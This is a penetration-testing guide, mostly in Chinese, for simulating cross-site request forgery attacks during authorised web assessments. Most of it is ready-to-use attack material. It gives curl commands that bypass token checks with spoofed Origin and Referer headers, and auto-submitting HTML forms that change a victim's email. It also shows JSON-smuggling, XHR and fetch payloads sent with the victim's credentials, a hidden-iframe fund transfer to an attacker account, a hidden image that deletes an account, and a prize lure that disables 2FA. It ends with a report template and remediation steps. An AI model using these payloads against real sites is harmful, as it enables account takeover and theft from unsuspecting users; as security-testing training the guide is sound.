performing-csrf-attack-simulation

执行 CSRF 攻击模拟

何时使用

• 在获得授权的 Web 应用程序渗透测试期间，识别易受 CSRF 攻击的状态变更操作
• 测试反 CSRF 令牌实现的有效性
• 验证不同浏览器中 SameSite Cookie 属性的强制执行情况
• 评估执行敏感操作（修改密码、转账、修改设置）的应用程序
• 对自定义认证和会话管理机制进行安全审计期间

前提条件

• 授权：针对目标的书面渗透测试协议
• Burp Suite Professional：具备 CSRF PoC 生成器功能
• Web 服务器：用于托管 CSRF PoC 页面的本地 HTTP 服务器（Python http.server）
• 两个浏览器：一个以受害者身份认证，一个以攻击者身份认证
• 目标应用程序：使用有效测试凭据认证的会话
• HTML/JavaScript 知识：用于制作自定义 CSRF 载荷

法律声明： 本技能仅用于获得授权的安全测试和教育目的。未经授权对您不拥有或没有书面许可测试的系统使用本技能是非法的，可能违反计算机欺诈相关法律。

工作流

步骤 1：识别状态变更请求

浏览应用程序，识别所有修改服务器端状态的 POST/PUT/DELETE 请求。

# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)

# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

[email protected]

# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation

步骤 2：分析反 CSRF 令牌实现

测试任何现有 CSRF 防护的强度和强制执行情况。

# Check if CSRF token is present
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# Test 1: Remove the CSRF token entirely
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 2: Send empty CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
  -b "session=user_a_session" \
  -d "[email protected]&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

步骤 3：检查 SameSite Cookie 和标头防护

验证浏览器级别和基于标头的 CSRF 防御。

# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None

# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)

# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "[email protected]&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with evil Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "[email protected]&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with spoofed Origin
curl -s -X POST \
  -b "session=abc123" \
  -H "Origin: https://evil.example.com" \
  -d "[email protected]" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

步骤 4：使用 Burp Suite 生成 CSRF 概念验证

使用 Burp 内置的 CSRF PoC 生成器进行快速测试。

# In Burp Suite:
# 1. Right-click the target request in Proxy > HTTP History
# 2. Select "Engagement tools" > "Generate CSRF PoC"
# 3. Click "Test in browser" to validate the PoC

# Burp generates HTML like:

<html>
  <body>
    <h1>Loading...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="[email protected]" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

步骤 5：制作高级 CSRF 载荷

针对 JSON API 和其他非标准内容类型，使用高级技术。

<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"[email protected]","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>


<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "[email protected]"}));
</script>


<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "[email protected]"
});
</script>


<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />


<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

步骤 6：测试并验证 CSRF 攻击

托管 PoC 并确认成功利用。

# Start a local web server to host the CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888

# PoC file structure:
# /tmp/csrf-poc/
#   index.html          <- CSRF PoC page
#   change-email.html   <- Email change CSRF
#   transfer.html       <- Fund transfer CSRF

# Testing steps:
# 1. Log in to target as victim user in Browser A
# 2. Open http://localhost:8888/change-email.html in Browser A
# 3. Check if the email was changed without victim's consent
# 4. Verify the state change in the application

# For SameSite=Lax bypass via top-level navigation:
# Use GET-based CSRF with window.open or anchor tag

<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">Click here for a prize!</a>
    <script>
      // Automatic click via social engineering context
      // SameSite=Lax allows cookies on top-level GET navigations
    </script>
  </body>
</html>

关键概念

概念	描述
CSRF	诱骗已认证用户的浏览器向易受攻击的站点发出非预期请求的攻击
反 CSRF 令牌	与用户会话绑定的唯一、不可预测的值，必须包含在状态变更请求中
SameSite Cookie	控制 Cookie 何时在跨站点请求中发送的浏览器属性（Strict、Lax、None）
Origin 标头	指示请求来源的 HTTP 标头，用于 CSRF 验证
Referer 标头	包含引用页面 URL 的 HTTP 标头，有时用于 CSRF 检查
双重提交 Cookie	将 Cookie 值与请求参数值进行比较的 CSRF 防御
同步器令牌模式	服务器为每个会话或每个请求生成并验证唯一令牌

工具与系统

工具	用途
Burp Suite Professional	CSRF PoC 生成器和请求分析
OWASP ZAP	反 CSRF 令牌检测和 CSRF 测试
XSRFProbe	自动化 CSRF 漏洞扫描器（pip install xsrfprobe）
Python http.server	用于托管 CSRF PoC 页面的本地 Web 服务器
浏览器 DevTools	检查 Cookie、SameSite 属性和网络请求
CSRFTester (OWASP)	用于制作和测试 CSRF 攻击的遗留工具

常见场景

场景 1：无 CSRF 令牌的邮箱修改

邮箱修改表单不包含 CSRF 令牌。攻击者托管一个页面，该页面自动提交表单将受害者的邮箱修改为攻击者的地址，从而通过密码重置实现账户接管。

场景 2：令牌绕过的资金转账

银行应用程序有 CSRF 令牌，但如果完全省略该参数则不进行验证。从转账表单中移除 csrf_token 字段即可允许跨站点资金转账。

场景 3：通过操纵 Content-Type 实现 JSON API CSRF

某个 JSON API 端点不要求自定义请求头。攻击者在 HTML 表单中使用 enctype="text/plain"，构造出能够更改受害者账户设置的合法 JSON 请求体。

场景 4：在 GET 状态变更上绕过 SameSite=Lax

某个设置页面通过 GET 请求更改状态（/settings?disable_2fa=true）。由于 SameSite=Lax 允许在顶级 GET 导航中携带 Cookie，将受害者引导至该 URL 即可禁用其 2FA。

输出格式

## CSRF Vulnerability Finding

**Vulnerability**: Cross-Site Request Forgery (Email Change)
**Severity**: High (CVSS 8.0)
**Location**: POST /api/account/change-email
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Authenticate as victim at https://target.example.com
2. Host the following HTML on an attacker-controlled server
3. Trick victim into visiting the attacker page while authenticated
4. The victim's email is changed to [email protected] without consent

### Anti-CSRF Defenses Tested
| Defense | Present | Enforced |
|---------|---------|----------|
| CSRF Token | No | N/A |
| SameSite Cookie | Lax | Partial (GET bypass) |
| Origin Validation | No | N/A |
| Referer Validation | No | N/A |
| Custom Header Required | No | N/A |

### Impact
- Account takeover via email change + password reset chain
- Unauthorized fund transfers
- Settings modification (2FA disable, notification change)

### Recommendation
1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests
2. Set SameSite=Strict on session cookies where possible
3. Validate Origin and Referer headers as defense-in-depth
4. Require re-authentication for sensitive operations (password change, fund transfer)
5. Use custom request headers (X-Requested-With) for AJAX endpoints